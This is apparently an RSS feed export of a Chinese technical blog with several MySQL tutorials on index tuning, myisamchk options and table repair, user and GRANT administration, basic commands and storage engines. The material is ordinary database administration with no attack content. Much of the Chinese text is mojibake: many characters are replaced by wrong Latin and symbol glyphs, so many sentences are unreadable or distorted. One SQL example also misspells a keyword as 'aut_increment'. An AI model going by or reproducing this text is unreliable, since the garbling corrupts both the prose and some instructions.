以上说得l了(jin)一点,不过如果你的数据库非常巨大,q且每日的页面请求达上百万算Q我想你?x)获益良多的。不q,如果你要做更为复杂的查询呢,例如多张表l? 合v来查询,特别是where限制字句中的字段是来自不止一个表格时Q应该怎样处理呢?我通常都尽量避免这U做法,因ؓ(f)q样数据库要各个表中的东西都结 合v来,然后再排除那些不合适的行,搞不好开销?x)很大?br /><br />  如果不能避免Q你应该查看每张要结合v来的表,q且使用以上的策略来建立索引Q然后再用EXPLAIN命o(h)验证一下是否用了(jin)你料想中的烦(ch)引。如果是的话Q就O(jin)K。不是的话,你可能要建立临时的表来将他们l合在一Pq且使用适当的烦(ch)引?br /><br />  要注意的是,建立太多的烦(ch)引将?x)?jing)响更新和插入的速度Q因为它需要同h新每个烦(ch)引文件。对于一个经帔R要更新和插入的表|没有必要ؓ(f)一个很用的where字句单独建立索引?jin),对于比较(yu)的表,排序的开销不会(x)很大Q也没有必要建立另外的烦(ch)引?br /><br />   以上介绍的只是一些十分基本的东西Q其实里面的学问也不,单凭EXPLAIN我们是不能判定该Ҏ(gu)是否是最优化的,每个数据库都有自q一些优化器Q? 虽然可能q不太完善,但是它们都会(x)在查询时Ҏ(gu)q哪U方式较快,在某些情况下Q徏立烦(ch)引的话也未必?x)快Q例如烦(ch)引放在一个不q箋的存储空间时Q这?x)增加? 盘的负担,因此Q哪个是最优,应该通过实际的用环境来(g)验?br /><br />  在刚开始的时候,如果表不大,没有必要作烦(ch)引,我的意见是在需要的时候才作烦(ch)引,也可用一些命令来优化表,例如MySQL可用"OPTIMIZE TABLE"?br /><br />  lg所qͼ在如何ؓ(f)数据库徏立恰当的索引斚wQ你应该有一些基本的概念?jin)?img src ="http://www.tkk7.com/jiabao/aggbug/192500.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/jiabao/" target="_blank">金家?/a> 2008-04-13 03:18 <a href="http://www.tkk7.com/jiabao/archive/2008/04/13/192500.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Myisamchk工具用手?/title><link>http://www.tkk7.com/jiabao/archive/2008/04/13/192498.html</link><dc:creator>金家?/dc:creator><author>金家?/author><pubDate>Sat, 12 Apr 2008 18:08:00 GMT</pubDate><guid>http://www.tkk7.com/jiabao/archive/2008/04/13/192498.html</guid><wfw:comment>http://www.tkk7.com/jiabao/comments/192498.html</wfw:comment><comments>http://www.tkk7.com/jiabao/archive/2008/04/13/192498.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/jiabao/comments/commentRss/192498.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/jiabao/services/trackbacks/192498.html</trackback:ping><description><![CDATA[ <span id="bclyhrq" class="kssattr-atfieldname-description kssattr-templateId-widgets/textarea kssattr-macro-textarea-field-view inlineEditable" id="parent-fieldname-description"> Myisamchk是MyISAM表维护的一个非常实用的工具。可以用myisamchk实用E序来获得有x据库表的信息或检查、修复、优化他们。myisamchk适用MyISAM?对应.MYI?MYD文g的表)?/span> <br />1.myisamchk的调用方?br /> myisamchk [options] tbl_name ...<br /> 其中options指定你想让myisamchkq什么?br /><br /> 它允怽通过使用模式?.MYI”指定在一个目录所有的表?br /> shell> myisamchk *.MYI<br /><br /> 推荐的快速检查所有MyISAM表的方式是:(x)<br /><br /> shell> myisamchk --silent --fast /path/to/datadir/*/*.MYI<br /> 当你q行myisamchkӞ必须保其它E序不用表?br /><br /> 当你q行myisamchk时内存分配重?MYIsamchk使用的内存大不能超q用-O选项指定的。对于大多数情况Q?O sort=16M应该_?jin)?br /> 另外在修复时myisamchk需要大量硬盘空_(d)基本上是所涉及(qing)表空间的双倍大?br /><br /><br />2.myisamchk的一般选项<br />--debug=debug_options, -# debug_options<br /> 输出调试记录文g。debug_options字符串经常是'd:t:o,filename'?br /><br />--silentQ?s<br /> 沉默模式。仅当发生错误时写输出?<br /><br />--wait, -w<br /> 如果表被锁定Q不是提C错误终止,而是在l前{待到表被解锁?br /> 如果不?-skip-external-lockingQ可以随时用myisamchk来检查表。当(g)查表Ӟ所有尝试更新表的客L(fng)等待,直到myisamchk准备好可以l?br /> h意如果用--skip-external-locking选项q行mysqldQ只能用另一个myisamchk命o(h)锁定表?br /><br />--var_name=value<br /> 可以通过--var_name=value选项讄下面的变?<br />decode_bits 9<br />ft_max_word_len 取决于版?br />ft_min_word_len 4<br />ft_stopword_file 内徏列表<br />key_buffer_size 523264<br />myisam_block_size 1024<br />read_buffer_size 262136<br />sort_buffer_size 2097144<br />sort_key_blocks 16<br />stats_method nulls_unequal<br />write_buffer_size 262136<br /> 如果惌快速修复,key_buffer_size和sort_buffer_size变量讄到大U可用内存的25%?br /> 可以两个变量设|ؓ(f)较大的|因ؓ(f)一个时间只使用一个变量?br /> myisam_block_size是用于烦(ch)引块的内存大?br /> stats_method影响当给?-analyze选项Ӟ如何为烦(ch)引统计搜集处理NULL倹{? <br /><br />3.myisamchk的检查选项<br />--check, -c<br /> (g)查表的错误。如果你不明指定操作类型选项Q这是默认操作?br /><br />--check-only-changed, -C<br /> 只检查上ơ检查后有变更的表?br /><br />--extend-check, -e<br /> 非常仔细地检查表。如果表有许多烦(ch)引将?x)相当慢?br /><br />--fastQ?F<br /> 只检查没有正关闭的表?br /><br />--force, -f<br /> 如果myisamchk发现表内有Q何错误,则自动进行修复?br /><br />--information, -i<br /> 打印所(g)查表的统计信息?br /><br />--medium-check, -m<br /> ?-extend-check更快速地q行(g)查。只能发?9.99%的错?br /><br />--update-state, -U<br /> 信息保存在.MYI文g中,来表C(g)查的旉以及(qing)是否表崩溃了(jin)。该选项用来充分利用--check-only-changed选项Q?br /> 但如果mysqld服务器正使用表ƈ且正?-skip-external-locking选项q行时不应用该选项?br /><br />--read-only, -T<br /> 不要表标记为已l检查。如果你使用myisamchk来检查正被其它应用程序用而没有锁定的表很有用<br /><br />4.myisamchk的修复选项<br />--backup, -B<br /> ?MYD文g备䆾为file_name-time.BAK<br /><br />--character-sets-dir=path<br /> 字符集安装目录?br /><br />--correct-checksum<br /> U正表的校验和信息?br /><br />--data-file-length=len, -D len<br /> 数据文g的最大长?br /><br />--extend-checkQ?e<br /> q行修复Q试图从数据文g恢复每一行。一般情况会(x)发现大量的垃圾行。不要用该选项,除非你不֐果?br /><br />--force, -f<br /> 覆盖旧的中间文g(文g名类似tbl_name.TMD)Q而不是中?br /><br />--keys-used=val, -k val<br /> 对于myisamchkQ该选项gؓ(f)位|说明要更新的索引。选项值的每一个二q制位对应表的一个烦(ch)引,其中W一个烦(ch)引对应位0?br /> 选项?用Ҏ(gu)有烦(ch)引的更新Q可以保证快速插入。通过myisamchk -r可以重新Ȁz被用的烦(ch)引?br /><br />--parallel-recover, -p<br /> ?r?n的用法相同,但用不同的U程q行创徏所有键?br /><br />--quickQ?q<br /> 不修Ҏ(gu)据文Ӟ快速进行修复?br /><br />--recover, -r<br /> 可以修复几乎所有一切问题,除非唯一的键不唯一?对于MyISAM表,q是非常不可能的情况)。如果你惌恢复表,<br /> q是首先要尝试的选项。如果myisamchk报告表不能用-r恢复Q则只能试-o?br /> 在不太可能的情况?rp|Q数据文件保持完好)(j)?<br /><br />--safe-recover, -o<br /> 使用一个老的恢复Ҏ(gu)dQ按序d所有行QƈҎ(gu)扑ֈ的行更新所有烦(ch)引树(wi)。这?r慢些Q?br /> 但是能处?r不能处理的情c(din)该恢复Ҏ(gu)使用的硬盘空间比-r。一般情况,你应首先?rl修Q如?rp|则用-o?br /><br />--sort-recover, -n<br /> 强制myisamchk通过排序来解析键|即临时文g可能很大?br /><br /><br />5.myisamchk的其他选项<br /> myisamchk支持以下表检查和修复之外的其它操作的选项Q?br /><br />--analyzeQ?a<br /> 分析键值的分布。这通过让联l优化器更好地选择表应该以什么次序联l和应该使用哪个键来改进联结性能?br /> 要想获取分布相关信息Q用myisamchk --description --verbose tbl_name命o(h)或SHOW KEYS FROM tbl_name语句?br /><br />--sort-index, -S<br /> 以从高到低的序排序索引?wi)块。这优化搜dƈ且将使按键值的表扫描更快?br /><br />--set-auto-increment[=value], -A[value]<br /> 强制从给定值开始的新记录用AUTO_INCREMENT~号(或如果已l有AUTO_INCREMENT值大的记录Q应使用更高??br /> 如果未指定valueQ新记录的AUTO_INCREMENT~号应用当前表的最大值加??br /><br />--description, -d<br /> 打印出关于表的描q性信息?br /> 例如Q?br /> [root@qa-sandbox-1 mysql]# myisamchk -d user.MYI<br />MyISAM file: user.MYI<br />Record format: Packed<br />Character set: latin1_swedish_ci (8)<br />Data records: 6 Deleted blocks: 1<br />Recordlength: 346<br /><br />table description:<br />Key Start Len Index Type<br />1 1 180 unique char packed stripped <br /> 181 48 char stripped <br /><br /><br />6.如何修复?br /><br />(g)查你的表<br /> 如果你有很多旉Q运行myisamchk *.MYI或myisamchk -e *.MYI。?sQ沉默)(j)选项止不必要的信息?br /> 如果mysqld服务器处于宕机状态,应?-update-state选项来告诉myisamchk表标记?(g)查过??br /><br />单安全的修复<br /> 首先Q试试myisamchk -r -q tbl_name(-r -q意味着“快速恢复模式?<br /> 如果在修复时Q你得到奇怪的错误(例如out of memory错误)Q或如果myisamchk崩溃Q到阶段3?br /><br />困难的修?br /> 只有在烦(ch)引文件的W一?6K块被破坏Q或包含不正的信息Q或如果索引文g丢失Q你才应该到q个阶段。在q种情况下,需要创Z个新的烦(ch)引文件。按如下步骤操做Q?br /><br /> 1. 把数据文件移到安全的地方?br /> 2. 使用表描q文件创建新?I?数据文g和烦(ch)引文Ӟ(x)<br /> 3. shell> mysql db_name<br /> 4. mysql> SET AUTOCOMMIT=1;<br /> 5. mysql> TRUNCATE TABLE tbl_name;<br /> 6. mysql> quit<br /> 如果你的MySQL版本没有TRUNCATE TABLEQ则使用DELETE FROM tbl_name?br /> 7. 老的数据文g拯到新创徏的数据文件之中。(不要只是老文件移回新文g之中Q你要保留一个副本以防某些东西出错。)(j)<br /><br />回到阶段2。现在myisamchk -r -q应该工作?jin)。(q不应该是一个无限@环)(j)?br /><br />你还可以使用REPAIR TABLE tbl_name USE_FRMQ将自动执行整个E序?br /><br /><br />非常困难的修?br /> 只有.frm描述文g也破坏了(jin)Q你才应该到达这个阶Dc(din)这应该从未发生q,因ؓ(f)在表被创Z后,描述文g׃再改变了(jin)?br /><br /> 1. 从一个备份恢复描q文件然后回到阶D?。你也可以恢复烦(ch)引文件然后回到阶D?。对后者,你应该用myisamchk -r启动?br /> 2. 如果你没有进行备份但是确切地知道表是怎样创徏的,在另一个数据库中创的一个拷贝。删除新的数据文Ӟ然后从其他数据库描q文件和索引文gUd破坏 的数据库中。这h供了(jin)新的描述和烦(ch)引文Ӟ但是?MYD数据文g独自留下来了(jin)。回到阶D?q且试重徏索引文g?br /><br /><br />7.清理片<br />对Innodb 表则可以通过执行以下语句来整理碎片,提高索引速度Q?br />ALTER TABLE tbl_name ENGINE = Innodb;<br />q其实是一?NULL 操作Q表面上看什么也不做Q实际上重新整理片?jin)?br /><br />对myisam表格Qؓ(f)?jin)组合碎片记录ƈ且消除由于删除或更新记录而浪费的I间Q以恢复模式q行myisamchkQ?br /><br />shell> myisamchk -r tbl_name<br /><br />你可以用SQL的OPTIMIZE TABLE语句使用的相同方式来优化表,OPTIMIZE TABLE可以修复表ƈ寚wD行分析,q且可以对烦(ch)引树(wi)q行排序以便更快地查N倹{?br /><br />8.建立表检查计?br /> q行一个crontabQ每天定期检查所有的myisam表格?br /> 35 0 * * 0 /path/to/myisamchk --fast --silent /path/to/datadir/*/*.MYI<br /><br />9.获取表的信息<br /><br /> myisamchk -d tbl_nameQ以“描q模式”运行myisamchkQ生成表的描q?br /> myisamchk -d -v tbl_name: Z(jin)生成更多关于myisamchk正在做什么的信息Q加?v告诉它以冗长模式q行?br /> myisamchk -eis tbl_name:仅显C的最重要的信息。因为必读取整个表Q该操作很慢?br /> myisamchk -eiv tbl_name:q类?-eisQ只是告诉你正在做什么?br /><br /><br />10.Myisamchk产生的信息解?br /><br />MyISAM file<br /> ISAM(索引)文g名?br /><br />File-version<br /> ISAM格式的版本。当前L2?br /><br />Creation time<br /> 数据文g创徏的时间?br /><br />Recover time<br /> 索引/数据文g上次被重建的旉?br /><br />Data records<br /> 在表中有多少记录?br /><br />Deleted blocks<br /> 有多删除的块仍然保留着I间。你可以优化表以使这个空间减到最。参见第7章:(x)优化?br /><br />Datafile parts<br /> 对动态记录格式,q指出有多少数据块。对于一个没有碎片的优化q的表,q与Data records相同?br /><br />Deleted data<br /> 不能回收的删除数据有多少字节。你可以优化表以使这个空间减到最。参见第7章:(x)优化?br /><br />Datafile pointer<br /> 数据文g指针的大,以字节计。它通常????个字节。大多数表用2个字节管理,但是目前q还不能从MySQL控制?br /> 对固定表Q这是一个记录地址。对动态表Q这是一个字节地址?br /><br />Keyfile pointer<br /> 索引文g指针的大,以字节计。它通常???个字节。大多数表用 2 个字节管理,但是它自动由MySQL计算?br /> 它L一个块地址?br /><br />Max datafile length<br /> 表的数据文g(.MYD文g)能够有多长,以字节计?br /><br />Max keyfile length<br /> 表的键值文?.MYI文g)能够有多长,以字节计?br /><br />Recordlength<br /> 每个记录占多空_(d)以字节计?br /><br />Record format<br /> 用于存储表行的格式。上面的例子使用Fixed length。其他可能的值是Compressed和Packed?br /><br />table description<br /> 在表中所有键值的列表。对每个键,l出一些底层的信息Q?br /> Key<br /> 该键的编受?br /> Start<br /> 该烦(ch)引部分从记录的哪里开始?br /> Len<br /> 该烦(ch)引部分是多长。对于紧凑的数字Q这应该L列的全长。对字符Ԍ它可以比索引的列的全长短些,<br /> 因ؓ(f)你可能会(x)索引到字W串列的前缀?br /> Index<br /> unique或multipQmultiple)。表明一个值是否能在该索引中存在多ơ?br /> Type<br /> 该烦(ch)引部分有什么数据类型。这是一个packed、stripped或empty选项的ISAM数据cd?br /> Root<br /> 根烦(ch)引块的地址?br /> Blocksize<br /> 每个索引块的大小。默认是1024Q但是从源码构徏MySQLӞ该值可以在~译时改变?br /> Rec/key<br /> q是׃化器使用的统计倹{它告诉对该键的每个值有多少条记录。唯一键L有一?倹{?br /> 在一个表被装载后(或变更很?Q可以用myisamchk -a更新。如果根本没被更斎ͼl定一?0的默认倹{?br /> 在上面例子的表中Q第9个键有两个table description行。这说明它是?个部分的多部键?br /><br />Keyblocks used<br /> 键块使用的百分比是什么。当在例子中使用的表刚刚用myisamchk重新l织Ӟ该值非帔R(很接q理Z的最大??br /><br />Packed<br /> MySQL试图用一个通用后缀压羃键。这只能被用于CHAR/VARCHAR/DECIMAL列的键。对于左部分cM的长字符Ԍ<br /> 能显著地减少使用I间。在上面的第3个例子中Q第4个键?0个字W长Q可以减?0%的空间?br /><br />Max levels<br /> 对于该键的B?wi)有多深。有镉K的大表有较高的倹{?br /><br />Records<br /> 表中有多行?br /><br />M.recordlength<br /> q_记录长度。对于有定长记录的表Q这是准的记录长度Q因为所有记录的长度相同?br /><br />Packed<br /> MySQL从字W串的结֎掉空根{PackedD明这样做辑ֈ的节U的癑ֈ比?br /><br />Recordspace used<br /> 数据文g被用的癑ֈ比?br /><br />Empty space<br /> 数据文g未被使用的百分比?br /><br />Blocks/Record<br /> 每个记录的^均块?卻I一个碎片记录由多少个连接组?。对固定格式表,qL1。该值应该尽可能保持接近1.0?br /> 如果它变得太大,你可以重新组l表。参见第7章:(x)优化?br /><br />Recordblocks<br /> 多少?链接)被用。对固定格式Q它与记录的个数相同?br /><br />Deleteblocks<br /> 多少?链接)被删除?br /><br />Recorddata<br /> 在数据文件中使用?jin)多字节?br /><br />Deleted data<br /> 在数据文件中多少字节被删?未??br /><br />Lost space<br /> 如果一个记录被更新为更短的长度Q就损失?jin)一些空间。这是所有这L(fng)损失之和Q以字节计?br /><br />Linkdata<br /> 当用动态表格式Q记录碎片用指针q接(每个4 ?7字节)?Linkdata指这L(fng)指针使用的内存量之和?img src ="http://www.tkk7.com/jiabao/aggbug/192498.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/jiabao/" target="_blank">金家?/a> 2008-04-13 02:08 <a href="http://www.tkk7.com/jiabao/archive/2008/04/13/192498.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>MySql理的一点心(j)?/title><link>http://www.tkk7.com/jiabao/archive/2008/04/13/192497.html</link><dc:creator>金家?/dc:creator><author>金家?/author><pubDate>Sat, 12 Apr 2008 17:53:00 GMT</pubDate><guid>http://www.tkk7.com/jiabao/archive/2008/04/13/192497.html</guid><wfw:comment>http://www.tkk7.com/jiabao/comments/192497.html</wfw:comment><comments>http://www.tkk7.com/jiabao/archive/2008/04/13/192497.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/jiabao/comments/commentRss/192497.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/jiabao/services/trackbacks/192497.html</trackback:ping><description><![CDATA[MySql数据库是中小型网站后台数据库的首?因ؓ(f)它对非商业应用是免费?|站开发者可以搭Z?Linux+Apache+PHP+MySql" q_,q是一个最省钱的高效^?在用MySqlq行开发时,MySql自带的文档对于新手来说是份很好的参考资?本文是我在用MySql中的小 ?j)得?br />当前一般用L(fng)开发环境多是Windows或LinuxQ用户可以到<a target="_blank">http://www.mysql.com</a>? 载相关版本进行安装,?windows中MySql以服务Ş式存在,在用前应确保此服务已经启动Q未启动可用net start mysql命o(h)启动。而Linux中启动时可用?etc/rc.d/init.d/mysqld start"命o(h)Q注意启动者应h理员权限?br />刚安装好的MySql包含一个含I密码的root帐户和一个匿名帐Pq是很大的安全隐(zhn),对于一些重要的应用我们应将安全性尽可能提高Q在q里应把匿名帐户删除?root帐户讄密码Q可用如下命令进行:(x)<br />use mysql;<br />delete from User where User="";<br />update User set Password=PASSWORD('newpassword') where User='root';<br />如果要对用户所用的dl端q行限制Q可以更新User表中相应用户的Host字段Q在q行?jin)以上更改后应重新启动数据库服务Q此时登录时可用如下cM命o(h)Q?br />mysql -uroot -p;<br />mysql -uroot -pnewpassword;<br />mysql mydb -uroot -p;<br />mysql mydb -uroot -pnewpassword;<br />上面命o(h)参数是常用参数的一部分Q详l情况可参考文档。此处的mydb是要d的数据库的名U?br />? q行开发和实际应用中,用户不应该只用root用户q行q接数据库,虽然使用root用户q行试时很方便Q但?x)给pȝ带来重大安全隐?zhn)Q也不利于管理技 术的提高。我们给一个应用中使用的用戯予最恰当的数据库权限。如一个只q行数据插入的用户不应赋予其删除数据的权限。MySql的用L(fng)理是通过 User表来实现的,d新用户常用的Ҏ(gu)有两个,一是在User表插入相应的数据行,同时讄相应的权限;二是通过GRANT命o(h)创徏h某种权限的用 戗其中GRANT的常用用法如下:(x)<br />grant all on mydb.* to NewUserName@HostName identified by "password" ;<br />grant usage on *.* to NewUserName@HostName identified by "password";<br />grant select,insert,update on mydb.* to NewUserName@HostName identified by "password";<br />grant update,delete on mydb.TestTable to NewUserName@HostName identified by "password";<br />? 要给此用戯予他在相应对象上的权限的理能力Q可在GRANT后面dWITH GRANT OPTION选项。而对于用插入User表添加的用户QPassword字段应用PASSWORD 函数q行更新加密Q以防不轨之人窃看密码。对于那些已l不用的用户应给予清除,权限q界的用户应?qing)时回收权限Q回收权限可以通过更新User表相应字D, 也可以用REVOKE操作?br />下面l出本h从其它资?<a target="_blank">www.cn-java.com)</a>获得的对常用权限的解释:(x)<br />全局理权限Q?br />FILE: 在MySQL服务器上d文g?br />PROCESS: 昄或杀d于其它用L(fng)服务U程?br />RELOAD: 重蝲讉K控制表,h日志{?br />SHUTDOWN: 关闭MySQL服务?br />数据?数据?数据列权限:(x)<br />ALTER: 修改已存在的数据?例如增加/删除?和烦(ch)引?br />CREATE: 建立新的数据库或数据表?br />DELETE: 删除表的记录?br />DROP: 删除数据表或数据库?br />INDEX: 建立或删除烦(ch)引?br />INSERT: 增加表的记录?br />SELECT: 昄/搜烦(ch)表的记录?br />UPDATE: 修改表中已存在的记录?br />特别的权限:(x)<br />ALL: 允许做Q何事(和root一??br />USAGE: 只允许登?-其它什么也不允许做?br />最后给出本人在RedHat9.0下的MySql操作演示Q?br />选用数据库的root用户d<br />[weiwen@weiwenlinux]$mysql -uroot -p<br />Enter password:MyPassword<br />mysql>create database mydb;<br />Query OK, 1 row affected (0.02 sec)<br />mysql>use mydb;<br />Database changed<br />mysql>create table TestTable(Id int aut_increment primary key,<br />UserName varchar(16) not null,<br />Address varchar(255));<br />Query OK, 0 rows affected (0.02 sec)<br />mysql>grant all on mydb.* to test@localhost identified by "test";<br />Query OK, 0 rows affected (0.01 sec)<br />mysql>quit<br />Bye<br />[weiwen@weiwenlinux]$mysql mydb -utest -ptest<br />其中test.sql是用vi~辑好的SQL脚本Q其内容为:(x)<br />Insert into TestTable(UserName,Address)values('Tom','shanghai');<br />Insert into TestTable(UserName,Address)values('John','beijing');<br />select * from TestTable;<br />q行已经~辑好的SQL脚本可以用source filename ?. filename?br />以上只是Ҏ(gu)手的单练?fn),要成Z个数据库好手Q当以孜孜不倦地q求知识Q不断地思考、尝试、再思考?img src ="http://www.tkk7.com/jiabao/aggbug/192497.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/jiabao/" target="_blank">金家?/a> 2008-04-13 01:53 <a href="http://www.tkk7.com/jiabao/archive/2008/04/13/192497.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>mysql命o(h)行常用命?非常基础的几个命令)(j)http://www.tkk7.com/jiabao/archive/2008/04/13/192496.html金家?/dc:creator>金家?/author>Sat, 12 Apr 2008 17:20:00 GMThttp://www.tkk7.com/jiabao/archive/2008/04/13/192496.htmlhttp://www.tkk7.com/jiabao/comments/192496.htmlhttp://www.tkk7.com/jiabao/archive/2008/04/13/192496.html#Feedback0http://www.tkk7.com/jiabao/comments/commentRss/192496.htmlhttp://www.tkk7.com/jiabao/services/trackbacks/192496.html

      W一招、mysql服务的启动和停止

      net stop mysql

      net start mysql

      W二招、登陆mysql

      语法如下Q?mysql -u用户?-p用户密码

      键入命o(h)mysql -uroot -pQ?回R后提CZ输入密码Q输?2345Q然后回车即可进入到mysql中了(jin)Qmysql的提C符是:(x)

      mysql>

      注意Q如果是q接到另外的机器上,则需要加入一个参?h机器IP

      W三招、增加新用户

      格式Qgrant 权限 on 数据?* to 用户名@dL identified by "密码"

      如,增加一个用户user1密码为password1Q让其可以在本机上登录, q对所有数据库有查询、插入、修攏V删除的权限。首先用以root用户q入mysqlQ然后键入以下命令:(x)

      grant selectQinsertQupdateQdelete on *.* to user1@localhost Identified by "password1";

      如果希望该用戯够在M机器上登陆mysqlQ则localhost改ؓ(f)"%"?/p>

      如果你不想user1有密码,可以再打一个命令将密码L?/p>

      grant selectQinsertQupdateQdelete on mydb.* to user1@localhost identified by "";

      W四招:(x) 操作数据?/p>

      d到mysql中,然后在mysql的提C符下运行下列命令,每个命o(h)以分L(fng)束?/p>

      1?昄数据库列表?/p>

      show databases;

      ~省有两个数据库Qmysql和test?mysql库存攄mysql的系l和用户权限信息Q我们改密码和新增用P实际上就是对q个库进行操作?/p>

      2?昄库中的数据表Q?/p>

      use mysql;

      show tables;

      3?昄数据表的l构Q?/p>

      describe 表名;

      4?建库与删库:(x)

      create database 库名;

      drop database 库名;

      5?Q?/p>

      use 库名;

      create table 表名(字段列表);

      drop table 表名;

      6?清空表中记录Q?/p>

      delete from 表名;

      7?昄表中的记录:(x)

      select * from 表名;

      W五招、导出和导入数据

      1. 导出数据Q?/p>

      mysqldump --opt test > mysql.test

      卛_数据库test数据库导出到mysql.test文gQ后者是一个文本文?/p>

      如:(x)mysqldump -u root -p123456 --databases dbname > mysql.dbname

      是把数据库dbname导出到文件mysql.dbname中?/p>

      2. 导入数据:

      mysqlimport -u root -p123456 < mysql.dbname?/p>

      不用解释?jin)吧?/p>

      3. 文本数据导入数据库:

      文本数据的字D|据之间用tab键隔开?/p>

      use test;

      load data local infile "文g? into table 表名;



    ]]>
    MYSQL基本常识·~http://www.tkk7.com/jiabao/archive/2008/04/12/192388.html金家?/dc:creator>金家?/author>Sat, 12 Apr 2008 04:37:00 GMThttp://www.tkk7.com/jiabao/archive/2008/04/12/192388.htmlhttp://www.tkk7.com/jiabao/comments/192388.htmlhttp://www.tkk7.com/jiabao/archive/2008/04/12/192388.html#Feedback0http://www.tkk7.com/jiabao/comments/commentRss/192388.htmlhttp://www.tkk7.com/jiabao/services/trackbacks/192388.html MySQL名字的来?/span> MySQL最初的开发者的意图是用mSQL和他们自q快速低U例E?ISAM)去连接表根{不怎样Q在l过一些测试后Q开发者得出结论:(x)mSQLq没有他们需要的那么快和灉|。这D?jin)一个用几乎和mSQL一L(fng)API接口的用于他们的数据库的新的SQL接口的生,q样Q这个API被设计成允许为用于mSQL而写的第三方代码更容易移植到MySQL?br />MySQLq个名字是怎么来的已经不清楚了(jin)。基本指南和大量的库和工具带有前~“my”已l有10q以上,而且不管怎样QMySQL AB创始Z一的Monty Widenius的女儿也叫My。这两个到底是哪一个给Z(jin)MySQLq个名字至今依然是个密,包括开发者在内也不知道?br />MySQL的v豚标志的名字叫“sakila”,它是由MySQL AB的创始h从用户在“v豚命名”的竞赛中徏议的大量的名字表中选出的。获胜的名字是由来自非洲斯威士兰的开源Y件开发者Ambrose Twebaze提供。根据Ambrose所_(d)Sakila来自一U叫SiSwati的斯威士兰方aQ也是在Ambrose的家乡乌q达附近的坦桑尼亚的Arusha的一个小镇的名字?br />
    MySQL的概q?/span>
    MySQL是一个小型关pd数据库管理系l,开发者ؓ(f)瑞典MySQL AB公司。目前MySQL被广泛地应用在Internet上的中小型网站中。由于其体积、速度快、M拥有成本低,其是开放源码这一特点Q许多中型|站Z(jin)降低|站M拥有成本而选择?jin)MySQL作ؓ(f)|站数据库?br />
    MySQL的特?/strong>
    1.使用C和C++~写Qƈ使用?jin)多U?a target="_blank">~译?/a>q行试Q保证源代码的可UL?
    2.支持AIX?a target="_blank">FreeBSD、HP-UX?a target="_blank">Linux、Mac OS?a target="_blank">Novell Netware、OpenBSD、OS/2 Wrap、Solaris、Windows{多U操作系l?
    3.为多U编E语a提供?jin)API。这些编E语a包括C、C++、Eiffel、Java?a target="_blank">Perl?a target="_blank">PHP、Python、Ruby和Tcl{?
    4.支持多线E?/a>Q充分利用CPU资源
    5.优化?a target="_blank">SQL
    查询法Q有效地提高查询速度
    6.既能够作Z个单独的应用E序应用在客L(fng)服务器网l环境中Q也能够作ؓ(f)一个库而嵌入到其他的Y件中提供多语a支持Q常见的~码如中文的GB 2312、BIG5Q日文的Shift_JIS{都可以用作数据表名和数据列?br />7.提供TCP/IP、ODBC和JDBC{多U数据库q接途径
    8.提供用于理、检查、优化数据库操作的管理工?
    9.可以处理拥有上千万条记录的大型数据库

    MySQL的应?/span>

    与其他的大型数据库例如Oracle、DB2、SQL Server{相比,MySQL自有它的不之处Q如规模、功能有限(MySQL不支持视图(已经被列?.1版的开发计划)(j)、事件等Q等Q但是这丝毫也没有减它受欢q的E度。对于一般的个h使用者和中小型企业来_(d)MySQL提供的功能已lԒl有余,而且׃MySQL是开放源码YӞ因此可以大大降低M拥有成本?br />
    目前Internet上流行的|站构架方式是LAMPQLinux+Apache+MySQL+PHPQ,即用Linux作ؓ(f)操作pȝQApache作ؓ(f)Web服务器,MySQL作ؓ(f)数据库,PHP作ؓ(f)服务器端脚本解释器。由于这四个软g都是遵@GPL的开放源码YӞ因此使用q种方式不用׃分钱可以徏立v一个稳定、免费的|站pȝ?br />
    MySQL理

    可以使用命o(h)行工L(fng)理MySQL数据库(命o(h)mysql ?mysqladmin)Q也可以从MySQL的网站下载图形管理工具MySQL Administrator和MySQL Query Browser?br />
    phpMyAdmin是由php写成的MySQL资料库系l管理程式,让管理者可用Web介面理MySQL资料库?br />
    phpMyBackupPro也是由PHP写成的,可以透过Web介面创徏和管理数据库。它可以创徏伪cronjobsQ可以用来自动在某个旉或周期备份MySQL 数据库?br />

    Mysql存储引擎

    MyISAM      Mysql的默认数据库Q最为常用。拥有较高的插入Q查询速度Q但不支持事?br />InnoDB      事务型数据库的首选引擎,支持ACID事务Q支持行U锁?br />BDB         源自Berkeley DBQ事务型数据库的另一U选择Q支持COMMIT和ROLLBACK{其他事务特?br />Memory      所有数据置于内存的存储引擎Q拥有极高的插入Q更新和查询效率。但是会(x)占用和数据量成正比的内存I间。ƈ且其内容?x)在Mysql重新启动时丢?br />Merge       一定数量的MyISAM表联合而成一个整体,在超大规模数据存储时很有?br />Archive     非常适合存储大量的独立的Q作为历史记录的数据。因为它们不l常被读取。Archive拥有高效的插入速度Q但其对查询的支持相对较?br />Federated   不同的Mysql服务器联合v来,逻辑上组成一个完整的数据库。非帔R合分布式应?br />Cluster/NDB 高冗余的存储引擎Q用多台数据机器联合提供服务以提高整体性能和安全性。适合数据量大Q安全和性能要求高的应用
    CSV         逻辑上由逗号分割数据的存储引?br />BlackHole   黑洞引擎Q写入的M数据都会(x)消失

    另外QMysql的存储引擎接口定义良好。有兴趣的开发者通过阅读文档~写自己的存储引擎?br />
    Mysql最常见的应用架?/strong>
    单点(Single)Q适合规模应?br />复制(Replication)Q适合中小规模应用
    集群(Cluster)Q适合大规模应?br />

    Mysql中文视频教学

    左光华的mysql|络数据库开发教学视?a target="_blank">http://www.tudou.com/playlist/mysql/
    Mysql6.0的alpha版于2007q初发布Q新版增加了(jin)对falcon存储引擎的支持。Falcon是MysqlC֌自主开发的引擎Q支持ACIDҎ(gu)事务,支持行锁Q拥有高性能的ƈ发性。Mysql AB公司想用Falcon替代已经非常行的InnoDB引擎Q因为拥有后者技术的InnoBase已经被竞争对手Oracle所收购?

